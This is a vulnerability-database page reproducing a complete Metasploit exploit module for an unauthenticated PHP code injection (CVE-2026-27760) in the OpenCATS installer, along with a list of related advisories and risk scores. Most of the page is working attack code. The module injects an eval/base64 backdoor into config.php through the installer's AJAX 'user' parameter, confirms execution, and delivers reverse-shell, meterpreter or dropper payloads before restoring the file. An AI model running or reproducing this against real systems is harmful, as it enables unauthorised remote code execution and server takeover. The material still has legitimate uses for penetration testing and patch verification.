Lucene search
+L

📄 OpenCATS Installer PHP Code Injection

🗓️ 05 Aug 2026 00:00:00Reported by Chocapikk, stlthr4k3rType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Unauthenticated OpenCATS installer PHP code injection adds a backdoor to config.php when INSTALL_BLOCK is absent.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-27760
28 Apr 202613:43
attackerkb
circl
Circl
CVE-2026-27760
28 Apr 202616:34
circl
cnnvd
CNNVD
OpenCats 代码注入漏洞
28 Apr 202600:00
cnnvd
cve
CVE
CVE-2026-27760
28 Apr 202613:43
cve
cvelist
Cvelist
CVE-2026-27760 OpenCATS PHP Code Injection via installer AJAX endpoint
28 Apr 202613:43
cvelist
euvd
EUVD
EUVD-2026-26052
28 Apr 202613:43
euvd
nuclei
Nuclei
OpenCATS - Command Injection
1 Aug 202610:03
nuclei
nvd
NVD
CVE-2026-27760
28 Apr 202615:16
nvd
ptsecurity
Positive Technologies
PT-2026-35727
28 Apr 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-27760
12 May 202602:27
redhatcve
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'OpenCATS Installer PHP Code Injection',
            'Description' => %q{
              This module exploits an unauthenticated PHP code injection in the OpenCATS
              installer AJAX endpoint (CVE-2026-27760).
    
              The databaseConnectivity action passes the user POST parameter directly to
              changeConfigSetting(), which interpolates it into a define() statement in
              config.php without any sanitization. This only works when the installation
              wizard was never completed, meaning the INSTALL_BLOCK file is absent.
    
              The exploit injects an eval() backdoor into config.php, probes until the
              injected code is live (handles OPcache revalidation transparently), triggers
              the payload via index.php, and then restores config.php.
            },
            'Author' => [
              'Chocapikk', # Vulnerability discovery
              'stlthr4k3r' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27760'],
              ['URL', 'https://chocapikk.com/posts/2026/opencats-installer-rce/'],
              ['URL', 'https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6']
            ],
            'Targets' => [
              [
                'PHP In-Memory', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                  # tested with cmd/unix/reverse_bash
                }
              ],
              [
                'Windows Command', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                  # tested with cmd/windows/reverse_powershell
                }
              ],
              [
                'Linux Dropper', {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
                  'CmdStagerFlavor' => %w[printf bourne],
                  'Type' => :dropper
                  # tested with linux/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Dropper', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X64, ARCH_X86],
                  'CmdStagerFlavor' => %w[psh_invokewebrequest certutil],
                  'Type' => :dropper
                  # tested with windows/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-04-28',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to OpenCATS', '/']),
          OptString.new('DB_USER', [true, 'DATABASE_USER value to restore in config.php after exploitation', 'cats'])
        ])
      end
    
      def check
        res = installer_request
        return CheckCode::Unknown('No response from target.') unless res
        return CheckCode::Safe('Installer is locked (INSTALL_BLOCK present).') if res.body.include?('installLocked')
        if res.body.include?('setActiveStep')
          return CheckCode::Appears('Installer AJAX endpoint is accessible and unprotected.')
        end
    
        CheckCode::Unknown('Unexpected response from installer endpoint.')
      end
    
      def exploit
        @param = Rex::Text.rand_text_alpha_lower(8)
    
        inject_payload(@param)
        trigger_payload(@param)
      ensure
        restore_config
      end
    
      def execute_command(cmd, _opts = {})
        trigger_php(php_exec_cmd(cmd), @param)
      end
    
      def installer_request(user: nil)
        opts = {
          'method' => user ? 'POST' : 'GET',
          'uri' => normalize_uri(target_uri.path, 'ajax.php'),
          'vars_get' => { 'f' => 'install:ui', 'a' => 'databaseConnectivity' }
        }
        opts['vars_post'] = { 'user' => user } if user
        send_request_cgi(opts)
      end
    
      def inject_payload(param)
        fake_user = Faker::Internet.username(specifier: 5..8)
        injection = "#{fake_user}');if(function_exists('opcache_reset')){opcache_reset();}eval(base64_decode(\$_POST['#{param}']));//"
        res = installer_request(user: injection)
        fail_with(Failure::UnexpectedReply, 'No response to injection request.') unless res
    
        print_good('PHP eval backdoor injected into config.php')
        wait_for_injection(param)
      end
    
      def wait_for_injection(param)
        nonce = Rex::Text.rand_text_alpha_lower(12)
        probe = Rex::Text.encode_base64("die('#{nonce}');")
    
        10.times do
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'index.php'),
            'vars_post' => { param => probe }
          )
          return if res&.body&.start_with?(nonce)
    
          sleep(1)
        end
    
        fail_with(Failure::UnexpectedReply, 'Injected code did not execute after 10 seconds.')
      end
    
      def trigger_payload(param)
        case target['Type']
        when :php
          trigger_php(payload.encoded, param)
        when :cmd
          trigger_php(php_exec_cmd(payload.encoded), param)
        when :dropper
          execute_cmdstager
        end
      end
    
      def trigger_php(code, param)
        send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'vars_post' => { param => Rex::Text.encode_base64(code) }
        )
      end
    
      def restore_config
        user = datastore['DB_USER']
        print_status("Restoring config.php with user '#{user}'...")
        installer_request(user: user)
        print_good('config.php restored.')
      rescue StandardError
        print_warning('Could not restore config.php - manual cleanup may be required.')
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.18.1
CVSS 49.2
EPSS0.34629
SSVC
7